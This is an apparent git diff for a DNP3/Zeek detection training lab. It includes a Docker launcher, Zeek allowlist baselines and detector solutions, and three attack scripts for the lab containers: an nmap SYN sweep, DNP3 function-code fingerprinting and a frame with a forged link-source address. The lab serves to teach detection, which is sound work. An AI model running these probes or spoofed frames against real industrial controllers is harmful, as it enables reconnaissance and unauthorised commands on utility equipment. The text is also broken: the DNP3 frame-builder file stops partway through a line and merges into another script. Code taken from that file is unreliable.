detector skeletons. Confirm `zeek -C -i /opt/zeek-lab/local.zeek` starts cleanly with no script errors against the detectors you have implemented. + - *Hint: detectors you did not touch stay as empty skeletons — Zeek loads them fine, they just don't emit anything.* + +- [ ] With the full stack loaded, run the three scenarios back-to-back from the host: `scan`, `fingerprint`, `spoof` (with a short pause between each). Produce a single `notice.log` and extract a timeline of which detector fired when, for which scenario, against which source IP. + - *Hint: `zeek-cut ts note src | sort` is enough to draft the timeline.* + +- [ ] Write a **one-page incident summary** structured as: (a) the attack scenarios you ran, in plain language, (b) the IOCs you would put in a SIEM rule for each, (c) which OTLab14 baseline fact each detector consumed, (d) what an attacker would have to do to evade your stack and stay under each allowlist. **This document is the input for OTLab16.** + +- [ ] Reflection paragraph (no checkbox required): in your write-up, argue briefly why allowlist-based, behavioural detection is a good fit for OT environments — and where it would break in IT environments. Reference the actual vocabulary size, baseline stability, and predictability you observed. + +## 🎯 Skills + +**Hands-on:** Network Security Monitoring (Zeek) · Behavioural / Allowlist Detection · DNP3 Log Analysis · Detection Engineering + +**Detecting [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) techniques:** + +[![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) +[![T0888 Remote System Information Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0888_Remote_System_Information_Discovery-red)](https://attack.mitre.org/techniques/T0888/) +[![T0855 Unauthorized Command Message](https://img.shields.io/badge/ATT%26CK_ICS-T0855_Unauthorized_Command_Message-red)](https://attack.mitre.org/techniques/T0855/) + +## 🔖 Nomenclature + +- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. +- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. +- ICS: Industrial control system. +- IOC: Indicator of compromise — an observable network or host artefact that suggests an intrusion. +- IP: Internet protocol. +- NSM: Network security monitoring — passive observation of traffic for forensic and detection purposes; Zeek is an NSM tool. +- OT: Operational technology. +- PDU: Protocol data unit — one "message" at a given protocol layer (e.g. a DNP3 application fragment). +- PLC: Programmable logic controller. +- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. +- SCADA: Supervisory control and data acquisition. +- TCP: Transmission control protocol. +- Zeek: Open-source NSM platform (formerly Bro). Parses protocols into structured logs and exposes a scripting language for detection. + +## 🛠️ Usage + +``` +Usage: ./OTLab15.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack + + -start Start the DNP3_Zeek environment using the specified distro (default: ubuntu) + Valid options: kali (rolling) or ubuntu (22.04) + -run Open a terminal inside the otlab-student container + -clean Remove containers, volumes, and network (keeps host-side ./scripts/attacks and ./scripts/zeek) + -stop Stop all containers + -restart Restart previously stopped containers + -status Show current containers status + -attack Fire a controlled attack scenario from dnp3-attacker + Valid scenarios: scan fingerprint spoof +``` + +> [!NOTE] +> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. These rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the rules are skipped — Docker's defaults already allow the cross-bridge forwarding. + +--- + +## Solutions + +`scripts/zeek/` ships what the student works on: `baseline.zeek` with empty +allowlists to fill from OTLab14, and three detector skeletons (header comment + +commented event signature, empty body). `local.zeek` is pre-wired to `@load` +all of them, so an untouched skeleton loads cleanly and simply emits nothing. + +Worked reference answers for every task live in `scripts/solutions/` — a filled +`baseline.zeek` and all three detectors implemented. It is the instructor key and +is **not** mounted into the EWS (there, `/opt/zeek-lab` is `scripts/zeek/`); see +`scripts/solutions/README.md` to copy it in for verification. diff --git a/OTLab15/OTLab15.sh b/OTLab15/OTLab15.sh new file mode 100755 index 0000000..774ffe1 --- /dev/null +++ b/OTLab15/OTLab15.sh @@ -0,0 +1,482 @@ +#!/bin/bash + +# ---------------------------------------- + +lab_name="DNP3_Zeek" +compose_file="${lab_name}.yml" + +ot_container_name01="dnp3-outstation" +ot_container_name02="dnp3-master" +ews_container_name="otlab-student" +attacker_container_name="dnp3-attacker" + +kali_image="kalilinux/kali-rolling" +ubuntu_image="ubuntu:22.04" + +lab_net01="dnp3-ot-net" +lab_net02="dnp3-corp-net" + +attacks_host_dir="./scripts/attacks" +zeek_host_dir="./scripts/zeek" + +attack_scenarios=(scan fingerprint spoof) + +# ---------------------------------------- +# Banner +show_banner() { + printf "\033[1;33m" + echo " _____ _____ __ _ ___ " + echo "| |_ _| | ___| |_|_ | " + echo "| | | | | | |__| .'| . | _| " + echo "|_____| |_| |_____|__,|___|___| " + printf "\033[1;37m" + printf "Exercise: DNP3 + Zeek Detection\n" + printf "Version: 0.2\n" + printf "Author: rafaelfarias\n" + printf "\033[0m" + echo "" +} + +# ---------------------------------------- +# Verify the script tree before bringing the compose up. +check_script_layout() { + local missing=0 + if [ ! -d "$attacks_host_dir" ]; then + printf "\033[31m[Error]\033[0m Missing attack scripts directory: %s\n" "$attacks_host_dir" + missing=1 + fi + if [ ! -d "$zeek_host_dir" ]; then + printf "\033[31m[Error]\033[0m Missing Zeek scripts directory: %s\n" "$zeek_host_dir" + missing=1 + fi + if [ "$missing" -eq 1 ]; then + printf "\033[31m✘ Lab tree incomplete. Run this script from the OTLab15/ directory.\033[0m\n" + exit 1 + fi +} + +# ---------------------------------------- + +generate_compose_file() { + local ews_image="$1" + + cat > "$compose_file" < + bash -c ' + apt update && + apt install -y python3 python3-pip iproute2 && + pip install dnp3-python && + ip route add 192.168.21.0/24 via 192.168.20.100 && + printf "%s\n" \ +"from dnp3_python.dnp3station.outstation import MyOutStation" \ +"from pydnp3 import opendnp3" \ +"import time" \ +"import random" \ +"" \ +"print(\"[OUTSTATION] Initializing DNP3 outstation on port 20000...\")" \ +"outstation = MyOutStation(" \ +" outstation_ip=\"0.0.0.0\"," \ +" port=20000," \ +" master_id=2," \ +" outstation_id=1" \ +")" \ +"outstation.start()" \ +"print(\"[OUTSTATION] Running. Waiting for master connections...\")" \ +"" \ +"i = 0" \ +"while True:" \ +" voltage = round(random.uniform(110.0, 130.0), 2)" \ +" current = round(random.uniform(0.5, 15.0), 2)" \ +" breaker_open = bool(i % 20 == 0)" \ +" outstation.apply_update(opendnp3.Analog(value=voltage), 0)" \ +" outstation.apply_update(opendnp3.Analog(value=current), 1)" \ +" outstation.apply_update(opendnp3.Binary(value=breaker_open), 0)" \ +" print(f\"[OUTSTATION] Update #{i}: Voltage={voltage}V, Current={current}A, BreakerOpen={breaker_open}\")" \ +" i += 1" \ +" time.sleep(5)" \ +> /outstation.py && + python3 /outstation.py' + ports: + - "20000:20000" + + $ot_container_name02: + image: $ubuntu_image + container_name: $ot_container_name02 + hostname: $ot_container_name02 + mac_address: 00:1C:06:D3:01:02 + networks: + $lab_net02: + ipv4_address: 192.168.21.20 + cap_add: + - NET_ADMIN + - NET_RAW + privileged: true + command: > + bash -c ' + apt update && + apt install -y python3 python3-pip netcat-openbsd iproute2 && + pip install dnp3-python && + ip route replace default via 192.168.21.100 && + printf "%s\n" \ +"from dnp3_python.dnp3station.master import MyMaster" \ +"from pydnp3 import opendnp3" \ +"import time" \ +"" \ +"print(\"[MASTER] Initializing DNP3 master...\")" \ +"master = MyMaster(" \ +" master_ip=\"0.0.0.0\"," \ +" outstation_ip=\"192.168.20.10\"," \ +" port=20000," \ +" master_id=2," \ +" outstation_id=1" \ +")" \ +"master.start()" \ +"print(\"[MASTER] Connected to outstation at 192.168.20.10:20000\")" \ +"" \ +"while True:" \ +" try:" \ +" analog_data = master.get_db_by_group_variation(group=30, variation=6)" \ +" binary_data = master.get_db_by_group_variation(group=1, variation=2)" \ +" print(f\"[MASTER] Analog readings: {analog_data}\")" \ +" print(f\"[MASTER] Binary readings: {binary_data}\")" \ +" except Exception as e:" \ +" print(f\"[MASTER] Poll error: {e}\")" \ +" time.sleep(10)" \ +> /master.py && + echo "[MASTER] Waiting for outstation to start. . ." && + until nc -z 192.168.20.10 20000; do sleep 2; done && + echo "[MASTER] Outstation is up. Starting master. . ." && + sleep 3 && + python3 /master.py' + + $ews_container_name: + image: $ews_image + container_name: $ews_container_name + hostname: $ews_container_name + environment: + - DISPLAY=\${DISPLAY} + - DEBIAN_FRONTEND=noninteractive + volumes: + - /tmp/.X11-unix:/tmp/.X11-unix + - $zeek_host_dir:/opt/zeek-lab + command: > + bash -c ' + echo "wireshark-common wireshark-common/install-setuid boolean true" | debconf-set-selections && + apt update && + apt install -y iputils-ping nmap net-tools tcpdump tshark wireshark iproute2 procps iptables curl gnupg ca-certificates nano less jq && + # Zeek install — conditional on the EWS distro. + # Kali ships zeek in the default repos; Ubuntu 22.04 needs the OpenSUSE OBS repo. + if grep -q "ID=kali" /etc/os-release; then + apt install -y zeek; + else + curl -fsSL https://download.opensuse.org/repositories/security:zeek/xUbuntu_22.04/Release.key | gpg --dearmor -o /etc/apt/trusted.gpg.d/security_zeek.gpg && + echo "deb http://download.opensuse.org/repositories/security:/zeek/xUbuntu_22.04/ /" > /etc/apt/sources.list.d/security_zeek.list && + apt update && + apt install -y zeek; + fi && + # Symlinks so zeek is on PATH + ln -sf /opt/zeek/bin/zeek /usr/local/bin/zeek 2>/dev/null || true && + ln -sf /opt/zeek/bin/zeek-cut /usr/local/bin/zeek-cut 2>/dev/null || true && + sysctl -w net.ipv4.ip_forward=1 && + tail -f /dev/null' + networks: + $lab_net01: + ipv4_address: 192.168.20.100 + $lab_net02: + ipv4_address: 192.168.21.100 + privileged: true + + $attacker_container_name: + image: $ubuntu_image + container_name: $attacker_container_name + hostname: $attacker_container_name + mac_address: 00:1C:06:D3:01:99 + environment: + - PYTHONDONTWRITEBYTECODE=1 + networks: + $lab_net02: + ipv4_address: 192.168.21.30 + cap_add: + - NET_ADMIN + - NET_RAW + privileged: true + volumes: + - $attacks_host_dir:/attacks + command: > + bash -c ' + apt update && + apt install -y python3 python3-pip nmap iproute2 iputils-ping tcpdump && + pip install dnp3-python && + ip route replace default via 192.168.21.100 && + sysctl -w net.ipv4.ip_forward=1 && + echo "[ATTACKER] Ready. Awaiting -attack triggers from host." && + tail -f /dev/null' + +networks: + $lab_net01: + name: $lab_net01 + driver: bridge + ipam: + config: + - subnet: 192.168.20.0/24 + + $lab_net02: + name: $lab_net02 + driver: bridge + ipam: + config: + - subnet: 192.168.21.0/24 +EOF +} + +# ---------------------------------------- +# Fire an attack scenario inside the attacker container. +run_attack() { + local scenario="$1" + + if [ -z "$scenario" ]; then + printf "\033[31m[Error]\033[0m Missing scenario name. Usage: $0 -attack <%s>\n" "$(IFS=\|; echo "${attack_scenarios[*]}")" + exit 1 + fi + + # Validate against the canonical list. + local found=0 + for s in "${attack_scenarios[@]}"; do + [ "$s" = "$scenario" ] && found=1 && break + done + if [ $found -eq 0 ]; then + printf "\033[31m[Error]\033[0m Unknown scenario '%s'. Valid: %s\n" "$scenario" "${attack_scenarios[*]}" + exit 1 + fi + + if ! container_exists "$attacker_container_name"; then + printf "\033[31m[Error]\033[0m Attacker container not running. Run -start first.\n" + exit 1 + fi + + + local script_sh="/attacks/attack_${scenario}.sh" + local script_py="/attacks/attack_${scenario}.py" + printf "\033[1;33m[Working]\033[0m Firing scenario '%s' inside %s. . .\n" "$scenario" "$attacker_container_name" + if docker exec "$attacker_container_name" test -f "$script_sh"; then + docker exec -it "$attacker_container_name" bash "$script_sh" + elif docker exec "$attacker_container_name" test -f "$script_py"; then + docker exec -it "$attacker_container_name" python3 "$script_py" + else + printf "\033[31m[Error]\033[0m No script found for scenario '%s' inside attacker.\n" "$scenario" + exit 1 + fi +} + +# ---------------------------------------- +# Environment detection. +# Cross-bridge routing between two Docker bridges requires kernel-level tweaks +# only on WSL2, where the default sysctl/iptables policies block forwarded +# traffic. On native Linux and macOS Docker Desktop the defaults work as-is. +detect_environment() { + is_wsl=0 + is_linux=0 + is_macos=0 + + case "$(uname -s)" in + Linux*) + is_linux=1 + if grep -qiE "(microsoft|wsl)" /proc/version 2>/dev/null; then + is_wsl=1 + fi + ;; + Darwin*) + is_macos=1 + ;; + esac +} + +apply_cross_bridge_rules() { + if [ "$is_wsl" -ne 1 ]; then + return 0 + fi + + if ! command -v sudo >/dev/null 2>&1 || ! command -v iptables >/dev/null 2>&1; then + printf "\033[33m[Warning]\033[0m WSL detected but 'sudo' or 'iptables' missing.\n" + printf "\033[33m[Warning]\033[0m Cross-bridge traffic between OT and corp networks may not work.\n" + return 0 + fi + + printf "\033[1;33m[Working]\033[0m WSL detected — applying cross-bridge routing rules (sudo required). . .\n" + sudo sysctl -w net.bridge.bridge-nf-call-iptables=0 >/dev/null 2>&1 + sudo iptables -I DOCKER-USER -s 192.168.20.0/24 -d 192.168.21.0/24 -j ACCEPT 2>/dev/null + sudo iptables -I DOCKER-USER -s 192.168.21.0/24 -d 192.168.20.0/24 -j ACCEPT 2>/dev/null +} + +revert_cross_bridge_rules() { + if [ "$is_wsl" -ne 1 ]; then + return 0 + fi + + if ! command -v sudo >/dev/null 2>&1 || ! command -v iptables >/dev/null 2>&1; then + return 0 + fi + + printf "\033[1;33m[Working]\033[0m Reverting cross-bridge routing rules (sudo required). . .\n" + sudo sysctl -w net.bridge.bridge-nf-call-iptables=1 >/dev/null 2>&1 + sudo iptables -D DOCKER-USER -s 192.168.20.0/24 -d 192.168.21.0/24 -j ACCEPT 2>/dev/null + sudo iptables -D DOCKER-USER -s 192.168.21.0/24 -d 192.168.20.0/24 -j ACCEPT 2>/dev/null +} + +# ---------------------------------------- +check_requirements() { + error_flag=0 + + if ! command -v docker >/dev/null 2>&1; then + printf "\033[31m[Error]\033[0m Docker is not installed on this system.\n" + error_flag=1 + elif ! docker info >/dev/null 2>&1; then + printf "\033[31m[Error]\033[0m Docker is installed, but not accessible.\n" + error_flag=1 + fi + + if command -v docker-compose >/dev/null 2>&1; then + DOCKER_COMPOSE_CMD="docker-compose" + elif docker compose version >/dev/null 2>&1; then + DOCKER_COMPOSE_CMD="docker compose" + else + printf "\033[31m[Error]\033[0m Docker Compose is not installed.\n" + error_flag=1 + fi + + if [ "$error_flag" -eq 1 ]; then + printf "\033[31m✘ The $lab_name system requirements check failed.\033[0m\n" + exit 1 + fi +} + +container_exists() { + docker ps -a --format '{{.Names}}' | grep -q "$1" +} + +# ---------------------------------------- +# Command handling +case "$1" in + -start) + show_banner + distro="${2:-ubuntu}" + + if [[ "$distro" == "kali" ]]; then + selected_image="$kali_image" + elif [[ "$distro" == "ubuntu" ]]; then + selected_image="$ubuntu_image" + else + printf "\033[31m[Error]\033[0m Invalid distro. Please use 'kali' or 'ubuntu'.\n" + exit 1 + fi + + check_requirements + check_script_layout + detect_environment + printf "\033[1;33m[Working]\033[0m Starting $lab_name. . .\n" + generate_compose_file "$selected_image" + $DOCKER_COMPOSE_CMD -f "$compose_file" up -d + if [ $? -eq 0 ]; then + apply_cross_bridge_rules + printf "\033[32m✔ $lab_name started.\033[0m\n" + printf "\033[34m[Information]\033[0m Fire attack scenarios with: $0 -attack <%s>\n" "$(IFS=\|; echo "${attack_scenarios[*]}")" + else + printf "\033[31m✘ $lab_name failed to start.\033[0m\n" + exit 1 + fi + ;; + -stop) + show_banner + if container_exists "$ot_container_name01" || container_exists "$ot_container_name02" || container_exists "$ews_container_name" || container_exists "$attacker_container_name"; then + check_requirements + printf "\033[1;33m[Working]\033[0m Stopping $lab_name. . .\n" + $DOCKER_COMPOSE_CMD -f "$compose_file" stop + printf "\033[32m✔ $lab_name stopped.\033[0m\n" + else + printf "\033[34m[Information]\033[0m No containers to stop.\n" + exit 1 + fi + ;; + -clean) + show_banner + if container_exists "$ot_container_name01" || container_exists "$ot_container_name02" || container_exists "$ews_container_name" || container_exists "$attacker_container_name"; then + check_requirements + detect_environment + printf "\033[1;33m[Working]\033[0m Cleaning up all $lab_name resources. . .\n" + revert_cross_bridge_rules + $DOCKER_COMPOSE_CMD -f "$compose_file" down -v + docker network rm "$lab_net01" "$lab_net02" 2>/dev/null + rm -f "$compose_file" + printf "\033[32m✔ All $lab_name resources removed.\033[0m\n" + else + printf "\033[34m[Information]\033[0m No containers found to clean.\n" + exit 1 + fi + ;; + -run) + show_banner + if container_exists "$ews_container_name"; then + check_requirements + printf "\033[1;33m[Working]\033[0m Accessing $ews_container_name terminal. . .\n" + docker exec -it "$ews_container_name" bash + else + printf "\033[31m[Error]\033[0m Container $ews_container_name not found.\n" + exit 1 + fi + ;; + -restart) + show_banner + check_requirements + if [ ! -f "$compose_file" ]; then + printf "\033[31m[Error]\033[0m Cannot restart: $compose_file not found.\n" + exit 1 + fi + + printf "\033[1;33m[Working]\033[0m Restarting $lab_name. . .\n" + $DOCKER_COMPOSE_CMD -f "$compose_file" up -d + if [ $? -eq 0 ]; then + printf "\033[32m✔ $lab_name restarted.\033[0m\n" + else + printf "\033[31m✘ $lab_name failed to restart.\033[0m\n" + exit 1 + fi + ;; + -status) + show_banner + check_requirements + $DOCKER_COMPOSE_CMD -f "$compose_file" ps + ;; + -attack) + show_banner + check_requirements + run_attack "$2" + ;; + *) + show_banner + echo "Usage: $0 -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack " + echo "" + echo " -start Start the $lab_name environment using the specified distro (default: ubuntu)" + echo " Valid options: kali (rolling) or ubuntu (22.04)" + echo " -run Open a terminal inside the $ews_container_name container" + echo " -clean Remove containers, volumes, and network (keeps host-side $attacks_host_dir and $zeek_host_dir)" + echo " -stop Stop all containers" + echo " -restart Restart previously stopped containers" + echo " -status Show current containers status" + echo " -attack Fire a controlled attack scenario from $attacker_container_name" + echo " Valid scenarios: ${attack_scenarios[*]}" + exit 1 + ;; +esac diff --git a/OTLab15/scripts/attacks/_dnp3.py b/OTLab15/scripts/attacks/_dnp3.py new file mode 100755 index 0000000..b1355a4 --- /dev/null +++ b/OTLab15/scripts/attacks/_dnp3.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Minimal DNP3-over-TCP frame builder for the Zeek Lab attack scenarios. +""" +import socket +import struct + +# DNP3 CRC: poly 0x3D65, reflected (use 0xA6BC), init 0x0000, xor-out 0xFFFF, +_CRC_POLY = 0xA6BC + + +def dnp3_crc(data): + crc = 0x0000 + for b in data: + crc ^= b + for _ in range(8): + crc = ((crc >> 1) ^ _CRC_POLY) if (crc & 1) else (crc >> 1) + crc = (~crc) & 0xFFFF + return struct.pack(" 255: + raise ValueError("frame too long; transport segmentation is not implemented") + header = bytes([0x05, 0x64, length, ctrl]) + struct.pack(" measures propagation delay; reply reveals support +# - ENABLE_UNSOLICITED (20 / 0x14) -> with object header Group 60 var 2 (class 1) +# - DISABLE_UNSOLICITED (21 / 0x15) -> idem +# - UNDEFINED_0x70 (112 / 0x70) -> unassigned function code; forces an error reply +# +# COLD_RESTART (13 / 0x0D) and WARM_RESTART (14 / 0x0E) are commented out: on +# real equipment they restart the outstation. On the emulated stack +# (dnp3-python) they should be ignored/NAKed, but stay disabled by default so +# the lab is repeatable. The function-code detector picks them up just the same +# if re-enabled. +# +# Link addresses: dst=1 (outstation), src=2 (the legitimate master's link ID). +# The outstation tends to close the connection after these requests; Dnp3Channel +# transparently reconnects. +import sys +import time + +from _dnp3 import (Dnp3Channel, build_app_request, build_link_frame, obj_header_all, + transport_segment) + +OUTSTATION_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.20.10" +PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 20000 +DST_LINK, SRC_LINK = 1, 2 + +PROBES = [ + ("DELAY_MEASURE", 0x17, b""), + ("ENABLE_UNSOLICITED", 0x14, obj_header_all(60, 2)), + ("DISABLE_UNSOLICITED", 0x15, obj_header_all(60, 2)), + ("UNDEFINED_0x70", 0x70, b""), +] + + +def _probe_frame(fc, objs, seq): + return build_link_frame(DST_LINK, SRC_LINK, + transport_segment(build_app_request(fc, objs, seq=seq))) + + +def main(): + print(f"[fingerprint] Probing {OUTSTATION_IP}:{PORT} with non-baseline function codes") + seq = 0 + with Dnp3Channel(OUTSTATION_IP, PORT, recv_timeout=0.4) as chan: + for name, fc, objs in PROBES: + try: + reply = chan.send_recv(_probe_frame(fc, objs, seq)) + outcome = reply.hex() if reply else "no reply" + except OSError as exc: + outcome = f"send failed ({exc})" + print(f"[fingerprint] {name:<20} fc=0x{fc:02X} -> {outcome}") + seq = (seq + 1) & 0x0F + time.sleep(0.3) + print("[fingerprint] Done — on the EWS, check the DNP3 function codes for " + "anything the master never sends.") + + +if __name__ == "__main__": + main() diff --git a/OTLab15/scripts/attacks/attack_scan.sh b/OTLab15/scripts/attacks/attack_scan.sh new file mode 100755 index 0000000..b7a72ff --- /dev/null +++ b/OTLab15/scripts/attacks/attack_scan.sh @@ -0,0 +1,24 @@ +#!/bin/bash +# Scenario: scan — OT-network reconnaissance from the corporate segment. +# +# What it does: +# 1) TCP SYN sweep of the OT subnet looking for hosts answering on 20000/tcp (DNP3). +# 2) Service/version probe (-sV) against responsive hosts — opens full TCP +# handshakes that close without any DNP3 PDU. +# +# Expected Zeek signal (running on the EWS): +# - conn.log: a brand-new orig_h (the attacker) absent from the Lab 1 baseline. +# - several flows in state S0/REJ/RSTOS0 to 20000/tcp (SYNs with no application data). +# - with -sV: established flows with ~0 bytes exchanged before the reset. +# +set -u +OT_SUBNET="${1:-192.168.20.0/24}" +DNP3_PORT="${2:-20000}" + +echo "[scan] TCP SYN sweep of ${OT_SUBNET} on ${DNP3_PORT}/tcp. . ." +nmap -n -Pn -sS -p "${DNP3_PORT}" --open "${OT_SUBNET}" + +echo "[scan] Service/version probe on responsive hosts. . ." +nmap -n -Pn -sV -p "${DNP3_PORT}" "${OT_SUBNET}" + +echo "[scan] Done — inspect conn.log on the EWS for the new source and SYN-only flows." diff --git a/OTLab15/scripts/attacks/attack_spoof.py b/OTLab15/scripts/attacks/attack_spoof.py new file mode 100755 index 0000000..53f6d2e --- /dev/null +++ b/OTLab15/scripts/attacks/attack_spoof.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +# Scenario: spoof — DNP3 frame with a forged link-source address. +# +# The attacker sends the outstation a single, perfectly normal READ — but with +# the link source address = 2 (the legitimate master's ID). I.e. at the DNP3 +# layer it appears to come from the master; at the IP layer it comes from the +# attacker. This is the minimal demonstration of the (dnp3.dl.src ↔ orig_h) +# mismatch — it does nothing else anomalous. +# +# Signal: the link-vs-IP detector cross-references the DNP3 link source with +# the source IP against the Lab 1 baseline (link 2 == master == +# 192.168.21.20) and flags the discrepancy. +import socket +import sys + +from _dnp3 import read_request, send_frame + +OUTSTATION_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.20.10" +PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 20000 +DST_LINK = 1 +SPOOFED_SRC_LINK = int(sys.argv[3]) if len(sys.argv) > 3 else 2 # legitimate master's link ID + + +def main(): + print(f"[spoof] Sending a READ to {OUTSTATION_IP}:{PORT} with forged DNP3 " + f"link source {SPOOFED_SRC_LINK}") + frame = read_request(DST_LINK, SPOOFED_SRC_LINK, group=1, variation=0, seq=0) + reply = send_frame(OUTSTATION_IP, PORT, frame) + print(f"[spoof] reply: {reply.hex() if reply else 'no reply'}") + print("[spoof] Done — on the EWS, cross-check the DNP3 link source against " + "orig_h and the Lab 1 baseline.") + + +if __name__ == "__main__": + main() diff --git a/OTLab15/scripts/solutions/baseline.zeek b/OTLab15/scripts/solutions/baseline.zeek new file mode 100644 index 0000000..0422927 --- /dev/null +++ b/OTLab15/scripts/solutions/baseline.zeek @@ -0,0 +1,20 @@ +module DNP3Baseline; + +export { + const expected_endpoints: set[addr] = { + 192.168.21.20, # master + 192.168.20.10, # outstation + } &redef; + + const expected_func_codes: set[count] = { + 0x01, # READ + 0x81, # RESPONSE + 0x00, # CONFIRM + 0x82, # UNSOLICITED_RESPONSE + } &redef; + + const link_addr_to_ip: table[count] of addr = { + [1] = 192.168.20.10, # outstation + [2] = 192.168.21.20, # master + } &redef; +} diff --git a/OTLab15/scripts/solutions/detectors/link-vs-ip-mismatch.zeek b/OTLab15/scripts/solutions/detectors/link-vs-ip-mismatch.zeek new file mode 100644 index 0000000..4ea193c --- /dev/null +++ b/OTLab15/scripts/solutions/detectors/link-vs-ip-mismatch.zeek @@ -0,0 +1,19 @@ +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Link_Vs_IP_Mismatch, }; +} + +event dnp3_header_block(c: connection, is_orig: bool, len: count, ctrl: count, + dest_addr: count, src_addr: count) + { + local sender_ip = is_orig ? c$id$orig_h : c$id$resp_h; + if ( src_addr in DNP3Baseline::link_addr_to_ip && + DNP3Baseline::link_addr_to_ip[src_addr] != sender_ip ) + NOTICE([$note = Link_Vs_IP_Mismatch, + $msg = fmt("DNP3 link src %d arrived from %s, expected %s (spoof)", + src_addr, sender_ip, DNP3Baseline::link_addr_to_ip[src_addr]), + $conn = c]); + } diff --git a/OTLab15/scripts/solutions/detectors/unexpected-function-code.zeek b/OTLab15/scripts/solutions/detectors/unexpected-function-code.zeek new file mode 100644 index 0000000..60e06b2 --- /dev/null +++ b/OTLab15/scripts/solutions/detectors/unexpected-function-code.zeek @@ -0,0 +1,22 @@ +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Unexpected_Function_Code, }; +} + +function check_fc(c: connection, kind: string, fc: count) + { + if ( fc !in DNP3Baseline::expected_func_codes ) + NOTICE([$note = Unexpected_Function_Code, + $msg = fmt("DNP3 %s fc=0x%02x outside baseline on %s -> %s", + kind, fc, c$id$orig_h, c$id$resp_h), + $conn = c]); + } + +event dnp3_application_request_header(c: connection, is_orig: bool, application: count, fc: count) + { check_fc(c, "request", fc); } + +event dnp3_application_response_header(c: connection, is_orig: bool, application: count, fc: count, iin: count) + { check_fc(c, "response", fc); } diff --git a/OTLab15/scripts/solutions/detectors/unknown-endpoint.zeek b/OTLab15/scripts/solutions/detectors/unknown-endpoint.zeek new file mode 100644 index 0000000..cdcaba4 --- /dev/null +++ b/OTLab15/scripts/solutions/detectors/unknown-endpoint.zeek @@ -0,0 +1,35 @@ +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Unknown_Endpoint, }; + const dnp3_port = 20000/tcp &redef; +} + +function check_endpoints(c: connection, kind: string, fc: count) + { + local o = c$id$orig_h; + local r = c$id$resp_h; + if ( o !in DNP3Baseline::expected_endpoints || + r !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("DNP3 %s on %s -> %s (fc=%d): endpoint outside baseline", + kind, o, r, fc), + $conn = c]); + } + +event dnp3_application_request_header(c: connection, is_orig: bool, application: count, fc: count) + { check_endpoints(c, "request", fc); } + +event dnp3_application_response_header(c: connection, is_orig: bool, application: count, fc: count, iin: count) + { check_endpoints(c, "response", fc); } + +event new_connection(c: connection) + { + if ( c$id$resp_p == dnp3_port && c$id$orig_h !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("TCP/%s from unexpected source %s -> %s", + c$id$resp_p, c$id$orig_h, c$id$resp_h), + $conn = c]); + } diff --git a/OTLab15/scripts/solutions/local.zeek b/OTLab15/scripts/solutions/local.zeek new file mode 100644 index 0000000..004f768 --- /dev/null +++ b/OTLab15/scripts/solutions/local.zeek @@ -0,0 +1,11 @@ +@load local # stock site policy: conn, dnp3, notice, ... + +# Docker veth delivers TCP packets with bad checksums; without this Zeek drops +# the payloads and never parses DNP3. Lab-only — never in production. +redef ignore_checksums = T; + +@load ./baseline.zeek + +@load ./detectors/unknown-endpoint.zeek +@load ./detectors/unexpected-function-code.zeek +@load ./detectors/link-vs-ip-mismatch.zeek diff --git a/OTLab15/scripts/zeek/baseline.zeek b/OTLab15/scripts/zeek/baseline.zeek new file mode 100644 index 0000000..bf82115 --- /dev/null +++ b/OTLab15/scripts/zeek/baseline.zeek @@ -0,0 +1,31 @@ +##! Baseline allowlists for the OTLab15 DNP3 environment. +##! +##! Source of truth for each constant: +##! - expected_endpoints : the two IPs you documented talking on 20000/tcp. +##! - expected_func_codes : the four function codes observed in steady state +##! (READ, RESPONSE, CONFIRM, UNSOLICITED_RESPONSE). +##! - link_addr_to_ip : the DNP3 link-layer address <-> IP mapping. +##! +##! These ship EMPTY on purpose. Fill them from your OTLab14 write-up — an empty +##! allowlist makes every Phase 2 detector fire on every packet (`!in {}` is +##! always true), so filling them is what gives Phase 2 a clean signal. + +module DNP3Baseline; + +export { + ## IPs allowed on 20000/tcp. + ## TODO (Phase 1, from OTLab14): add the master and outstation IPs. + const expected_endpoints: set[addr] = { + } &redef; + + ## Function codes expected in steady state. + ## TODO (Phase 1): the four codes you observe + ## (READ, RESPONSE, CONFIRM, UNSOLICITED_RESPONSE). + const expected_func_codes: set[count] = { + } &redef; + + ## DNP3 link-layer address <-> expected IP mapping. + ## TODO (cycle 2.3): map link addr 1 and 2 to the outstation/master IPs. + const link_addr_to_ip: table[count] of addr = { + } &redef; +} diff --git a/OTLab15/scripts/zeek/detectors/link-vs-ip-mismatch.zeek b/OTLab15/scripts/zeek/detectors/link-vs-ip-mismatch.zeek new file mode 100644 index 0000000..14ad9af --- /dev/null +++ b/OTLab15/scripts/zeek/detectors/link-vs-ip-mismatch.zeek @@ -0,0 +1,21 @@ +##! Notice when a DNP3 link-layer source address does not match the expected IP +##! in DNP3Baseline::link_addr_to_ip. + +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Link_Vs_IP_Mismatch, }; +} + +# TODO (cycle 2.3): hook dnp3_header_block — it surfaces the link-layer +# src/dest addresses, which dnp3.log does NOT record. This is the only place to +# catch spoofed frames that present a 